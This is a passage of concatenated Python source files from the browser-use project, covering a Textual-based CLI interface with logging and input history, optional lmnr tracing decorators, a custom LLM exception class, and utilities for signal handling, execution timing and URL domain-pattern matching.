$accent-lighten-2; } #logo-panel { width: 100%; height: auto; content-align: center middle; text-align: center; } #links-panel { width: 100%; padding: 1; border: solid $primary; height: auto; } .link-white { color: white; } .link-purple { color: purple; } .link-magenta { color: magenta; } .link-green { color: green; } HorizontalGroup { height: auto; } .link-label { width: auto; } .link-url { width: auto; } .link-row { width: 100%; height: auto; } #paths-panel { color: $text-muted; } #task-input-container { border: solid $accent; padding: 1; margin-bottom: 1; height: auto; dock: bottom; } #task-label { color: $accent; padding-bottom: 1; } #task-input { width: 100%; } """ BINDINGS = [ Binding('ctrl+c', 'quit', 'Quit', priority=True, show=True), Binding('ctrl+q', 'quit', 'Quit', priority=True), Binding('ctrl+d', 'quit', 'Quit', priority=True), Binding('up', 'input_history_prev', 'Previous command', show=False), Binding('down', 'input_history_next', 'Next command', show=False), ] def __init__(self, config: dict[str, Any], *args, **kwargs): super().__init__(*args, **kwargs) self.config = config self.browser_session: BrowserSession | None = None # Will be set before app.run_async() self.controller: Controller | None = None # Will be set before app.run_async() self.agent: Agent | None = None self.llm: Any | None = None # Will be set before app.run_async() self.task_history = config.get('command_history', []) # Track current position in history for up/down navigation self.history_index = len(self.task_history) # Initialize telemetry self._telemetry = ProductTelemetry() # Store for event bus handler self._event_bus_handler_id = None self._event_bus_handler_func = None # Timer for info panel updates self._info_panel_timer = None def setup_richlog_logging(self) -> None: """Set up logging to redirect to RichLog widget instead of stdout.""" # Try to add RESULT level if it doesn't exist try: addLoggingLevel('RESULT', 35) except AttributeError: pass # Level already exists, which is fine # Get the main output RichLog widget rich_log = self.query_one('#main-output-log', RichLog) # Create and set up the custom handler log_handler = RichLogHandler(rich_log) log_type = os.getenv('BROWSER_USE_LOGGING_LEVEL', 'result').lower() class BrowserUseFormatter(logging.Formatter): def format(self, record): # if isinstance(record.name, str) and record.name.startswith('browser_use.'): # record.name = record.name.split('.')[-2] return super().format(record) # Set up the formatter based on log type if log_type == 'result': log_handler.setLevel('RESULT') log_handler.setFormatter(BrowserUseFormatter('%(message)s')) else: log_handler.setFormatter(BrowserUseFormatter('%(levelname)-8s [%(name)s] %(message)s')) # Configure root logger - Replace ALL handlers, not just stdout handlers root = logging.getLogger() # Clear all existing handlers to prevent output to stdout/stderr root.handlers = [] root.addHandler(log_handler) # Set log level based on environment variable if log_type == 'result': root.setLevel('RESULT') elif log_type == 'debug': root.setLevel(logging.DEBUG) else: root.setLevel(logging.INFO) # Configure browser_use logger and all its sub-loggers browser_use_logger = logging.getLogger('browser_use') browser_use_logger.propagate = False # Don't propagate to root logger browser_use_logger.handlers = [log_handler] # Replace any existing handlers browser_use_logger.setLevel(root.level) # Also ensure agent loggers go to the main output # Use a wildcard pattern to catch all agent-related loggers for logger_name in ['browser_use.Agent', 'browser_use.controller', 'browser_use.agent', 'browser_use.agent.service']: agent_logger = logging.getLogger(logger_name) agent_logger.propagate = False agent_logger.handlers = [log_handler] agent_logger.setLevel(root.level) # Also catch any dynamically created agent loggers with task IDs for name, logger in logging.Logger.manager.loggerDict.items(): if isinstance(name, str) and 'browser_use.Agent' in name: if isinstance(logger, logging.Logger): logger.propagate = False logger.handlers = [log_handler] logger.setLevel(root.level) # Silence third-party loggers but keep them using our handler for logger_name in [ 'WDM', 'httpx', 'selenium', 'playwright', 'urllib3', 'asyncio', 'openai', 'httpcore', 'charset_normalizer', 'anthropic._base_client', 'PIL.PngImagePlugin', 'trafilatura.htmlprocessing', 'trafilatura', 'groq', 'portalocker', 'portalocker.utils', ]: third_party = logging.getLogger(logger_name) third_party.setLevel(logging.ERROR) third_party.propagate = False third_party.handlers = [log_handler] # Use our handler to prevent stdout/stderr leakage def on_mount(self) -> None: """Set up components when app is mounted.""" # We'll use a file logger since stdout is now controlled by Textual logger = logging.getLogger('browser_use.on_mount') logger.debug('on_mount() method started') # Step 1: Set up custom logging to RichLog logger.debug('Setting up RichLog logging...') try: self.setup_richlog_logging() logger.debug('RichLog logging set up successfully') except Exception as e: logger.error(f'Error setting up RichLog logging: {str(e)}', exc_info=True) raise RuntimeError(f'Failed to set up RichLog logging: {str(e)}') # Step 2: Set up input history logger.debug('Setting up readline history...') try: if READLINE_AVAILABLE and self.task_history: for item in self.task_history: readline.add_history(item) logger.debug(f'Added {len(self.task_history)} items to readline history') else: logger.debug('No readline history to set up') except Exception as e: logger.error(f'Error setting up readline history: {str(e)}', exc_info=False) # Non-critical, continue # Step 3: Focus the input field logger.debug('Focusing input field...') try: input_field = self.query_one('#task-input', Input) input_field.focus() logger.debug('Input field focused') except Exception as e: logger.error(f'Error focusing input field: {str(e)}', exc_info=True) # Non-critical, continue # Step 5: Setup CDP logger and event bus listener if browser session is available logger.debug('Setting up CDP logging and event bus listener...') try: self.setup_cdp_logger() if self.browser_session: self.setup_event_bus_listener() logger.debug('CDP logging and event bus setup complete') except Exception as e: logger.error(f'Error setting up CDP logging/event bus: {str(e)}', exc_info=True) # Non-critical, continue # Capture telemetry for CLI start self._telemetry.capture( CLITelemetryEvent( version=get_browser_use_version(), action='start', mode='interactive', model=self.llm.model if self.llm and hasattr(self.llm, 'model') else None, model_provider=self.llm.provider if self.llm and hasattr(self.llm, 'provider') else None, ) ) logger.debug('on_mount() completed successfully') def on_input_key_up(self, event: events.Key) -> None: """Handle up arrow key in the input field.""" # For textual key events, we need to check focus manually input_field = self.query_one('#task-input', Input) if not input_field.has_focus: return # Only process if we have history if not self.task_history: return # Move back in history if possible if self.history_index > 0: self.history_index -= 1 task_input = self.query_one('#task-input', Input) task_input.value = self.task_history[self.history_index] # Move cursor to end of text task_input.cursor_position = len(task_input.value) # Prevent default behavior (cursor movement) event.prevent_default() event.stop() def on_input_key_down(self, event: events.Key) -> None: """Handle down arrow key in the input field.""" # For textual key events, we need to check focus manually input_field = self.query_one('#task-input', Input) if not input_field.has_focus: return # Only process if we have history if not self.task_history: return # Move forward in history or clear input if at the end if self.history_index < len(self.task_history) - 1: self.history_index += 1 task_input = self.query_one('#task-input', Input) task_input.value = self.task_history[self.history_index] # Move cursor to end of text task_input.cursor_position = len(task_input.value) elif self.history_index == len(self.task_history) - 1: # At the end of history, go to "new line" state self.history_index += 1 self.query_one('#task-input', Input).value = '' # Prevent default behavior (cursor movement) event.prevent_default() event.stop() async def on_key(self, event: events.Key) -> None: """Handle key events at the app level to ensure graceful exit.""" # Handle Ctrl+C, Ctrl+D, and Ctrl+Q for app exit if event.key == 'ctrl+c' or event.key == 'ctrl+d' or event.key == 'ctrl+q': await self.action_quit() event.stop() event.prevent_default() def on_input_submitted(self, event: Input.Submitted) -> None: """Handle task input submission.""" if event.input.id == 'task-input': task = event.input.value if not task.strip(): return # Add to history if it's new if task.strip() and (not self.task_history or task != self.task_history[-1]): self.task_history.append(task) self.config['command_history'] = self.task_history save_user_config(self.config) # Reset history index to point past the end of history self.history_index = len(self.task_history) # Hide logo, links, and paths panels self.hide_intro_panels() # Process the task self.run_task(task) # Clear the input event.input.value = '' def hide_intro_panels(self) -> None: """Hide the intro panels, show info panels and the three-column view.""" try: # Get the panels logo_panel = self.query_one('#logo-panel') links_panel = self.query_one('#links-panel') paths_panel = self.query_one('#paths-panel') info_panels = self.query_one('#info-panels') three_column = self.query_one('#three-column-container') # Hide intro panels if they're visible and show info panels + three-column view if logo_panel.display: logging.debug('Hiding intro panels and showing info panels + three-column view') logo_panel.display = False links_panel.display = False paths_panel.display = False # Show info panels and three-column container info_panels.display = True three_column.display = True # Start updating info panels self.update_info_panels() logging.debug('Info panels and three-column view should now be visible') except Exception as e: logging.error(f'Error in hide_intro_panels: {str(e)}') def setup_event_bus_listener(self) -> None: """Setup listener for browser session event bus.""" if not self.browser_session or not self.browser_session.event_bus: return # Clean up any existing handler before registering a new one if self._event_bus_handler_func is not None: try: # Remove handler from the event bus's internal handlers dict if hasattr(self.browser_session.event_bus, 'handlers'): # Find and remove our handler function from all event patterns for event_type, handler_list in list(self.browser_session.event_bus.handlers.items()): # Remove our specific handler function object if self._event_bus_handler_func in handler_list: handler_list.remove(self._event_bus_handler_func) logging.debug(f'Removed old handler from event type: {event_type}') except Exception as e: logging.debug(f'Error cleaning up event bus handler: {e}') self._event_bus_handler_func = None self._event_bus_handler_id = None try: # Get the events log widget events_log = self.query_one('#events-log', RichLog) except Exception: # Widget not ready yet return # Create handler to log all events def log_event(event): event_name = event.__class__.__name__ # Format event data nicely try: if hasattr(event, 'model_dump'): event_data = event.model_dump(exclude_unset=True) # Remove large fields if 'screenshot' in event_data: event_data['screenshot'] = '<bytes>' if 'dom_state' in event_data: event_data['dom_state'] = '<truncated>' event_str = str(event_data) if event_data else '' else: event_str = str(event) # Truncate long strings if len(event_str) > 200: event_str = event_str[:200] + '...' events_log.write(f'[yellow]→ {event_name}[/] {event_str}') except Exception as e: events_log.write(f'[red]→ {event_name}[/] (error formatting: {e})') # Store the handler function before registering it self._event_bus_handler_func = log_event self._event_bus_handler_id = id(log_event) # Register wildcard handler for all events self.browser_session.event_bus.on('*', log_event) logging.debug(f'Registered new event bus handler with id: {self._event_bus_handler_id}') def setup_cdp_logger(self) -> None: """Setup CDP message logger to capture already-transformed CDP logs.""" # No need to configure levels - setup_logging() already handles that # We just need to capture the transformed logs and route them to the CDP pane # Get the CDP log widget cdp_log = self.query_one('#cdp-log', RichLog) # Create custom handler for CDP logging class CDPLogHandler(logging.Handler): def __init__(self, rich_log: RichLog): super().__init__() self.rich_log = rich_log def emit(self, record): try: msg = self.format(record) # Truncate very long messages if len(msg) > 300: msg = msg[:300] + '...' # Color code by level if record.levelno >= logging.ERROR: self.rich_log.write(f'[red]{msg}[/]') elif record.levelno >= logging.WARNING: self.rich_log.write(f'[yellow]{msg}[/]') else: self.rich_log.write(f'[cyan]{msg}[/]') except Exception: self.handleError(record) # Setup handler for cdp_use loggers cdp_handler = CDPLogHandler(cdp_log) cdp_handler.setFormatter(logging.Formatter('%(message)s')) cdp_handler.setLevel(logging.DEBUG) # Route CDP logs to the CDP pane # These are already transformed by cdp_use and at the right level from setup_logging for logger_name in ['websockets.client', 'cdp_use', 'cdp_use.client', 'cdp_use.cdp', 'cdp_use.cdp.registry']: logger = logging.getLogger(logger_name) # Add our handler (don't replace - keep existing console handler too) if cdp_handler not in logger.handlers: logger.addHandler(cdp_handler) def scroll_to_input(self) -> None: """Scroll to the input field to ensure it's visible.""" input_container = self.query_one('#task-input-container') input_container.scroll_visible() def run_task(self, task: str) -> None: """Launch the task in a background worker.""" # Create or update the agent agent_settings = AgentSettings.model_validate(self.config.get('agent', {})) # Get the logger logger = logging.getLogger('browser_use.app') # Make sure intro is hidden and log is ready self.hide_intro_panels() # Clear the main output log to start fresh
python
MIT
630f85dd05127c9d42810a5db235a14f5bac9043
2026-01-04T14:38:16.467592Z
true
browser-use/browser-use
https://github.com/browser-use/browser-use/blob/630f85dd05127c9d42810a5db235a14f5bac9043/browser_use/observability.py
browser_use/observability.py
# @file purpose: Observability module for browser-use that handles optional lmnr integration with debug mode support """ Observability module for browser-use This module provides observability decorators that optionally integrate with lmnr (Laminar) for tracing. If lmnr is not installed, it provides no-op wrappers that accept the same parameters. Features: - Optional lmnr integration - works with or without lmnr installed - Debug mode support - observe_debug only traces when in debug mode - Full parameter compatibility with lmnr observe decorator - No-op fallbacks when lmnr is unavailable """ import logging import os from collections.abc import Callable from functools import wraps from typing import Any, Literal, TypeVar, cast logger = logging.getLogger(__name__) from dotenv import load_dotenv load_dotenv() # Type definitions F = TypeVar('F', bound=Callable[..., Any]) # Check if we're in debug mode def _is_debug_mode() -> bool: """Check if we're in debug mode based on environment variables or logging level.""" lmnr_debug_mode = os.getenv('LMNR_LOGGING_LEVEL', '').lower() if lmnr_debug_mode == 'debug': # logger.info('Debug mode is enabled for observability') return True # logger.info('Debug mode is disabled for observability') return False # Try to import lmnr observe _LMNR_AVAILABLE = False _lmnr_observe = None try: from lmnr import observe as _lmnr_observe # type: ignore if os.environ.get('BROWSER_USE_VERBOSE_OBSERVABILITY', 'false').lower() == 'true': logger.debug('Lmnr is available for observability') _LMNR_AVAILABLE = True except ImportError: if os.environ.get('BROWSER_USE_VERBOSE_OBSERVABILITY', 'false').lower() == 'true': logger.debug('Lmnr is not available for observability') _LMNR_AVAILABLE = False def _create_no_op_decorator( name: str | None = None, ignore_input: bool = False, ignore_output: bool = False, metadata: dict[str, Any] | None = None, **kwargs: Any, ) -> Callable[[F], F]: """Create a no-op decorator that accepts all lmnr observe parameters but does nothing.""" import asyncio def decorator(func: F) -> F: if asyncio.iscoroutinefunction(func): @wraps(func) async def async_wrapper(*args, **kwargs): return await func(*args, **kwargs) return cast(F, async_wrapper) else: @wraps(func) def sync_wrapper(*args, **kwargs): return func(*args, **kwargs) return cast(F, sync_wrapper) return decorator def observe( name: str | None = None, ignore_input: bool = False, ignore_output: bool = False, metadata: dict[str, Any] | None = None, span_type: Literal['DEFAULT', 'LLM', 'TOOL'] = 'DEFAULT', **kwargs: Any, ) -> Callable[[F], F]: """ Observability decorator that traces function execution when lmnr is available. This decorator will use lmnr's observe decorator if lmnr is installed, otherwise it will be a no-op that accepts the same parameters. Args: name: Name of the span/trace ignore_input: Whether to ignore function input parameters in tracing ignore_output: Whether to ignore function output in tracing metadata: Additional metadata to attach to the span **kwargs: Additional parameters passed to lmnr observe Returns: Decorated function that may be traced depending on lmnr availability Example: @observe(name="my_function", metadata={"version": "1.0"}) def my_function(param1, param2): return param1 + param2 """ kwargs = { 'name': name, 'ignore_input': ignore_input, 'ignore_output': ignore_output, 'metadata': metadata, 'span_type': span_type, 'tags': ['observe', 'observe_debug'], # important: tags need to be created on laminar first **kwargs, } if _LMNR_AVAILABLE and _lmnr_observe: # Use the real lmnr observe decorator return cast(Callable[[F], F], _lmnr_observe(**kwargs)) else: # Use no-op decorator return _create_no_op_decorator(**kwargs) def observe_debug( name: str | None = None, ignore_input: bool = False, ignore_output: bool = False, metadata: dict[str, Any] | None = None, span_type: Literal['DEFAULT', 'LLM', 'TOOL'] = 'DEFAULT', **kwargs: Any, ) -> Callable[[F], F]: """ Debug-only observability decorator that only traces when in debug mode. This decorator will use lmnr's observe decorator if both lmnr is installed AND we're in debug mode, otherwise it will be a no-op. Debug mode is determined by: - DEBUG environment variable set to 1/true/yes/on - BROWSER_USE_DEBUG environment variable set to 1/true/yes/on - Root logging level set to DEBUG or lower Args: name: Name of the span/trace ignore_input: Whether to ignore function input parameters in tracing ignore_output: Whether to ignore function output in tracing metadata: Additional metadata to attach to the span **kwargs: Additional parameters passed to lmnr observe Returns: Decorated function that may be traced only in debug mode Example: @observe_debug(ignore_input=True, ignore_output=True,name="debug_function", metadata={"debug": True}) def debug_function(param1, param2): return param1 + param2 """ kwargs = { 'name': name, 'ignore_input': ignore_input, 'ignore_output': ignore_output, 'metadata': metadata, 'span_type': span_type, 'tags': ['observe_debug'], # important: tags need to be created on laminar first **kwargs, } if _LMNR_AVAILABLE and _lmnr_observe and _is_debug_mode(): # Use the real lmnr observe decorator only in debug mode return cast(Callable[[F], F], _lmnr_observe(**kwargs)) else: # Use no-op decorator (either not in debug mode or lmnr not available) return _create_no_op_decorator(**kwargs) # Convenience functions for checking availability and debug status def is_lmnr_available() -> bool: """Check if lmnr is available for tracing.""" return _LMNR_AVAILABLE def is_debug_mode() -> bool: """Check if we're currently in debug mode.""" return _is_debug_mode() def get_observability_status() -> dict[str, bool]: """Get the current status of observability features.""" return { 'lmnr_available': _LMNR_AVAILABLE, 'debug_mode': _is_debug_mode(), 'observe_active': _LMNR_AVAILABLE, 'observe_debug_active': _LMNR_AVAILABLE and _is_debug_mode(), }
python
MIT
630f85dd05127c9d42810a5db235a14f5bac9043
2026-01-04T14:38:16.467592Z
false
browser-use/browser-use
https://github.com/browser-use/browser-use/blob/630f85dd05127c9d42810a5db235a14f5bac9043/browser_use/exceptions.py
browser_use/exceptions.py
class LLMException(Exception): def __init__(self, status_code, message): self.status_code = status_code self.message = message super().__init__(f'Error {status_code}: {message}')
python
MIT
630f85dd05127c9d42810a5db235a14f5bac9043
2026-01-04T14:38:16.467592Z
false
browser-use/browser-use
https://github.com/browser-use/browser-use/blob/630f85dd05127c9d42810a5db235a14f5bac9043/browser_use/utils.py
browser_use/utils.py
import asyncio import logging import os import platform import re import signal import time from collections.abc import Callable, Coroutine from fnmatch import fnmatch from functools import cache, wraps from pathlib import Path from sys import stderr from typing import Any, ParamSpec, TypeVar from urllib.parse import urlparse import httpx from dotenv import load_dotenv load_dotenv() # Pre-compiled regex for URL detection - used in URL shortening URL_PATTERN = re.compile(r'https?://[^\s<>"\']+|www\.[^\s<>"\']+|[^\s<>"\']+\.[a-z]{2,}(?:/[^\s<>"\']*)?', re.IGNORECASE) logger = logging.getLogger(__name__) # Lazy import for error types # Use sentinel to avoid retrying import when package is not installed _IMPORT_NOT_FOUND: type = type('_ImportNotFound', (), {}) _openai_bad_request_error: type | None = None _groq_bad_request_error: type | None = None def _get_openai_bad_request_error() -> type | None: """Lazy loader for OpenAI BadRequestError.""" global _openai_bad_request_error if _openai_bad_request_error is None: try: from openai import BadRequestError _openai_bad_request_error = BadRequestError except ImportError: _openai_bad_request_error = _IMPORT_NOT_FOUND return _openai_bad_request_error if _openai_bad_request_error is not _IMPORT_NOT_FOUND else None def _get_groq_bad_request_error() -> type | None: """Lazy loader for Groq BadRequestError.""" global _groq_bad_request_error if _groq_bad_request_error is None: try: from groq import BadRequestError # type: ignore[import-not-found] _groq_bad_request_error = BadRequestError except ImportError: _groq_bad_request_error = _IMPORT_NOT_FOUND return _groq_bad_request_error if _groq_bad_request_error is not _IMPORT_NOT_FOUND else None # Global flag to prevent duplicate exit messages _exiting = False # Define generic type variables for return type and parameters R = TypeVar('R') T = TypeVar('T') P = ParamSpec('P') class SignalHandler: """ A modular and reusable signal handling system for managing SIGINT (Ctrl+C), SIGTERM, and other signals in asyncio applications. This class provides: - Configurable signal handling for SIGINT and SIGTERM - Support for custom pause/resume callbacks - Management of event loop state across signals - Standardized handling of first and second Ctrl+C presses - Cross-platform compatibility (with simplified behavior on Windows) """ def __init__( self, loop: asyncio.AbstractEventLoop | None = None, pause_callback: Callable[[], None] | None = None, resume_callback: Callable[[], None] | None = None, custom_exit_callback: Callable[[], None] | None = None, exit_on_second_int: bool = True, interruptible_task_patterns: list[str] | None = None, ): """ Initialize the signal handler. Args: loop: The asyncio event loop to use. Defaults to current event loop. pause_callback: Function to call when system is paused (first Ctrl+C) resume_callback: Function to call when system is resumed custom_exit_callback: Function to call on exit (second Ctrl+C or SIGTERM) exit_on_second_int: Whether to exit on second SIGINT (Ctrl+C) interruptible_task_patterns: List of patterns to match task names that should be canceled on first Ctrl+C (default: ['step', 'multi_act', 'get_next_action']) """ self.loop = loop or asyncio.get_event_loop() self.pause_callback = pause_callback self.resume_callback = resume_callback self.custom_exit_callback = custom_exit_callback self.exit_on_second_int = exit_on_second_int self.interruptible_task_patterns = interruptible_task_patterns or ['step', 'multi_act', 'get_next_action'] self.is_windows = platform.system() == 'Windows' # Initialize loop state attributes self._initialize_loop_state() # Store original signal handlers to restore them later if needed self.original_sigint_handler = None self.original_sigterm_handler = None def _initialize_loop_state(self) -> None: """Initialize loop state attributes used for signal handling.""" setattr(self.loop, 'ctrl_c_pressed', False) setattr(self.loop, 'waiting_for_input', False) def register(self) -> None: """Register signal handlers for SIGINT and SIGTERM.""" try: if self.is_windows: # On Windows, use simple signal handling with immediate exit on Ctrl+C def windows_handler(sig, frame): print('\n\n🛑 Got Ctrl+C. Exiting immediately on Windows...\n', file=stderr) # Run the custom exit callback if provided if self.custom_exit_callback: self.custom_exit_callback() os._exit(0) self.original_sigint_handler = signal.signal(signal.SIGINT, windows_handler) else: # On Unix-like systems, use asyncio's signal handling for smoother experience self.original_sigint_handler = self.loop.add_signal_handler(signal.SIGINT, lambda: self.sigint_handler()) self.original_sigterm_handler = self.loop.add_signal_handler(signal.SIGTERM, lambda: self.sigterm_handler()) except Exception: # there are situations where signal handlers are not supported, e.g. # - when running in a thread other than the main thread # - some operating systems # - inside jupyter notebooks pass def unregister(self) -> None: """Unregister signal handlers and restore original handlers if possible.""" try: if self.is_windows: # On Windows, just restore the original SIGINT handler if self.original_sigint_handler: signal.signal(signal.SIGINT, self.original_sigint_handler) else: # On Unix-like systems, use asyncio's signal handler removal self.loop.remove_signal_handler(signal.SIGINT) self.loop.remove_signal_handler(signal.SIGTERM) # Restore original handlers if available if self.original_sigint_handler: signal.signal(signal.SIGINT, self.original_sigint_handler) if self.original_sigterm_handler: signal.signal(signal.SIGTERM, self.original_sigterm_handler) except Exception as e: logger.warning(f'Error while unregistering signal handlers: {e}') def _handle_second_ctrl_c(self) -> None: """ Handle a second Ctrl+C press by performing cleanup and exiting. This is shared logic used by both sigint_handler and wait_for_resume. """ global _exiting if not _exiting: _exiting = True # Call custom exit callback if provided if self.custom_exit_callback: try: self.custom_exit_callback() except Exception as e: logger.error(f'Error in exit callback: {e}') # Force immediate exit - more reliable than sys.exit() print('\n\n🛑 Got second Ctrl+C. Exiting immediately...\n', file=stderr) # Reset terminal to a clean state by sending multiple escape sequences # Order matters for terminal resets - we try different approaches # Reset terminal modes for both stdout and stderr print('\033[?25h', end='', flush=True, file=stderr) # Show cursor print('\033[?25h', end='', flush=True) # Show cursor # Reset text attributes and terminal modes print('\033[0m', end='', flush=True, file=stderr) # Reset text attributes print('\033[0m', end='', flush=True) # Reset text attributes # Disable special input modes that may cause arrow keys to output control chars print('\033[?1l', end='', flush=True, file=stderr) # Reset cursor keys to normal mode print('\033[?1l', end='', flush=True) # Reset cursor keys to normal mode # Disable bracketed paste mode print('\033[?2004l', end='', flush=True, file=stderr) print('\033[?2004l', end='', flush=True) # Carriage return helps ensure a clean line print('\r', end='', flush=True, file=stderr) print('\r', end='', flush=True) # these ^^ attempts dont work as far as we can tell # we still dont know what causes the broken input, if you know how to fix it, please let us know print('(tip: press [Enter] once to fix escape codes appearing after chrome exit)', file=stderr) os._exit(0) def sigint_handler(self) -> None: """ SIGINT (Ctrl+C) handler. First Ctrl+C: Cancel current step and pause. Second Ctrl+C: Exit immediately if exit_on_second_int is True. """ global _exiting if _exiting: # Already exiting, force exit immediately os._exit(0) if getattr(self.loop, 'ctrl_c_pressed', False): # If we're in the waiting for input state, let the pause method handle it if getattr(self.loop, 'waiting_for_input', False): return # Second Ctrl+C - exit immediately if configured to do so if self.exit_on_second_int: self._handle_second_ctrl_c() # Mark that Ctrl+C was pressed setattr(self.loop, 'ctrl_c_pressed', True) # Cancel current tasks that should be interruptible - this is crucial for immediate pausing self._cancel_interruptible_tasks() # Call pause callback if provided - this sets the paused flag if self.pause_callback: try: self.pause_callback() except Exception as e: logger.error(f'Error in pause callback: {e}') # Log pause message after pause_callback is called (not before) print('----------------------------------------------------------------------', file=stderr) def sigterm_handler(self) -> None: """ SIGTERM handler. Always exits the program completely. """ global _exiting if not _exiting: _exiting = True print('\n\n🛑 SIGTERM received. Exiting immediately...\n\n', file=stderr) # Call custom exit callback if provided if self.custom_exit_callback: self.custom_exit_callback() os._exit(0) def _cancel_interruptible_tasks(self) -> None: """Cancel current tasks that should be interruptible.""" current_task = asyncio.current_task(self.loop) for task in asyncio.all_tasks(self.loop): if task != current_task and not task.done(): task_name = task.get_name() if hasattr(task, 'get_name') else str(task) # Cancel tasks that match certain patterns if any(pattern in task_name for pattern in self.interruptible_task_patterns): logger.debug(f'Cancelling task: {task_name}') task.cancel() # Add exception handler to silence "Task exception was never retrieved" warnings task.add_done_callback(lambda t: t.exception() if t.cancelled() else None) # Also cancel the current task if it's interruptible if current_task and not current_task.done(): task_name = current_task.get_name() if hasattr(current_task, 'get_name') else str(current_task) if any(pattern in task_name for pattern in self.interruptible_task_patterns): logger.debug(f'Cancelling current task: {task_name}') current_task.cancel() def wait_for_resume(self) -> None: """ Wait for user input to resume or exit. This method should be called after handling the first Ctrl+C. It temporarily restores default signal handling to allow catching a second Ctrl+C directly. """ # Set flag to indicate we're waiting for input setattr(self.loop, 'waiting_for_input', True) # Temporarily restore default signal handling for SIGINT # This ensures KeyboardInterrupt will be raised during input() original_handler = signal.getsignal(signal.SIGINT) try: signal.signal(signal.SIGINT, signal.default_int_handler) except ValueError: # we are running in a thread other than the main thread # or signal handlers are not supported for some other reason pass green = '\x1b[32;1m' red = '\x1b[31m' blink = '\033[33;5m' unblink = '\033[0m' reset = '\x1b[0m' try: # escape code is to blink the ... print( f'➡️ Press {green}[Enter]{reset} to resume or {red}[Ctrl+C]{reset} again to exit{blink}...{unblink} ', end='', flush=True, file=stderr, ) input() # This will raise KeyboardInterrupt on Ctrl+C # Call resume callback if provided if self.resume_callback: self.resume_callback() except KeyboardInterrupt: # Use the shared method to handle second Ctrl+C self._handle_second_ctrl_c() finally: try: # Restore our signal handler signal.signal(signal.SIGINT, original_handler) setattr(self.loop, 'waiting_for_input', False) except Exception: pass def reset(self) -> None: """Reset state after resuming.""" # Clear the flags if hasattr(self.loop, 'ctrl_c_pressed'): setattr(self.loop, 'ctrl_c_pressed', False) if hasattr(self.loop, 'waiting_for_input'): setattr(self.loop, 'waiting_for_input', False) def time_execution_sync(additional_text: str = '') -> Callable[[Callable[P, R]], Callable[P, R]]: def decorator(func: Callable[P, R]) -> Callable[P, R]: @wraps(func) def wrapper(*args: P.args, **kwargs: P.kwargs) -> R: start_time = time.time() result = func(*args, **kwargs) execution_time = time.time() - start_time # Only log if execution takes more than 0.25 seconds if execution_time > 0.25: self_has_logger = args and getattr(args[0], 'logger', None) if self_has_logger: logger = getattr(args[0], 'logger') elif 'agent' in kwargs: logger = getattr(kwargs['agent'], 'logger') elif 'browser_session' in kwargs: logger = getattr(kwargs['browser_session'], 'logger') else: logger = logging.getLogger(__name__) logger.debug(f'⏳ {additional_text.strip("-")}() took {execution_time:.2f}s') return result return wrapper return decorator def time_execution_async( additional_text: str = '', ) -> Callable[[Callable[P, Coroutine[Any, Any, R]]], Callable[P, Coroutine[Any, Any, R]]]: def decorator(func: Callable[P, Coroutine[Any, Any, R]]) -> Callable[P, Coroutine[Any, Any, R]]: @wraps(func) async def wrapper(*args: P.args, **kwargs: P.kwargs) -> R: start_time = time.time() result = await func(*args, **kwargs) execution_time = time.time() - start_time # Only log if execution takes more than 0.25 seconds to avoid spamming the logs # you can lower this threshold locally when you're doing dev work to performance optimize stuff if execution_time > 0.25: self_has_logger = args and getattr(args[0], 'logger', None) if self_has_logger: logger = getattr(args[0], 'logger') elif 'agent' in kwargs: logger = getattr(kwargs['agent'], 'logger') elif 'browser_session' in kwargs: logger = getattr(kwargs['browser_session'], 'logger') else: logger = logging.getLogger(__name__) logger.debug(f'⏳ {additional_text.strip("-")}() took {execution_time:.2f}s') return result return wrapper return decorator def singleton(cls): instance = [None] def wrapper(*args, **kwargs): if instance[0] is None: instance[0] = cls(*args, **kwargs) return instance[0] return wrapper def check_env_variables(keys: list[str], any_or_all=all) -> bool: """Check if all required environment variables are set""" return any_or_all(os.getenv(key, '').strip() for key in keys) def is_unsafe_pattern(pattern: str) -> bool: """ Check if a domain pattern has complex wildcards that could match too many domains. Args: pattern: The domain pattern to check Returns: bool: True if the pattern has unsafe wildcards, False otherwise """ # Extract domain part if there's a scheme if '://' in pattern: _, pattern = pattern.split('://', 1) # Remove safe patterns (*.domain and domain.*) bare_domain = pattern.replace('.*', '').replace('*.', '') # If there are still wildcards, it's potentially unsafe return '*' in bare_domain def is_new_tab_page(url: str) -> bool: """ Check if a URL is a new tab page (about:blank, chrome://new-tab-page, or chrome://newtab). Args: url: The URL to check Returns: bool: True if the URL is a new tab page, False otherwise """ return url in ('about:blank', 'chrome://new-tab-page/', 'chrome://new-tab-page', 'chrome://newtab/', 'chrome://newtab') def match_url_with_domain_pattern(url: str, domain_pattern: str, log_warnings: bool = False) -> bool: """ Check if a URL matches a domain pattern. SECURITY CRITICAL. Supports optional glob patterns and schemes: - *.example.com will match sub.example.com and example.com - *google.com will match google.com, agoogle.com, and www.google.com - http*://example.com will match http://example.com, https://example.com - chrome-extension://* will match chrome-extension://aaaaaaaaaaaa and chrome-extension://bbbbbbbbbbbbb When no scheme is specified, https is used by default for security. For example, 'example.com' will match 'https://example.com' but not 'http://example.com'. Note: New tab pages (about:blank, chrome://new-tab-page) must be handled at the callsite, not inside this function. Args: url: The URL to check domain_pattern: Domain pattern to match against log_warnings: Whether to log warnings about unsafe patterns Returns: bool: True if the URL matches the pattern, False otherwise """ try: # Note: new tab pages should be handled at the callsite, not here if is_new_tab_page(url): return False parsed_url = urlparse(url) # Extract only the hostname and scheme components scheme = parsed_url.scheme.lower() if parsed_url.scheme else '' domain = parsed_url.hostname.lower() if parsed_url.hostname else '' if not scheme or not domain: return False # Normalize the domain pattern domain_pattern = domain_pattern.lower() # Handle pattern with scheme if '://' in domain_pattern: pattern_scheme, pattern_domain = domain_pattern.split('://', 1) else: pattern_scheme = 'https' # Default to matching only https for security pattern_domain = domain_pattern # Handle port in pattern (we strip ports from patterns since we already # extracted only the hostname from the URL) if ':' in pattern_domain and not pattern_domain.startswith(':'): pattern_domain = pattern_domain.split(':', 1)[0] # If scheme doesn't match, return False if not fnmatch(scheme, pattern_scheme): return False # Check for exact match if pattern_domain == '*' or domain == pattern_domain: return True # Handle glob patterns if '*' in pattern_domain: # Check for unsafe glob patterns # First, check for patterns like *.*.domain which are unsafe if pattern_domain.count('*.') > 1 or pattern_domain.count('.*') > 1: if log_warnings: logger = logging.getLogger(__name__) logger.error(f'⛔️ Multiple wildcards in pattern=[{domain_pattern}] are not supported') return False # Don't match unsafe patterns # Check for wildcards in TLD part (example.*) if pattern_domain.endswith('.*'): if log_warnings: logger = logging.getLogger(__name__) logger.error(f'⛔️ Wildcard TLDs like in pattern=[{domain_pattern}] are not supported for security') return False # Don't match unsafe patterns # 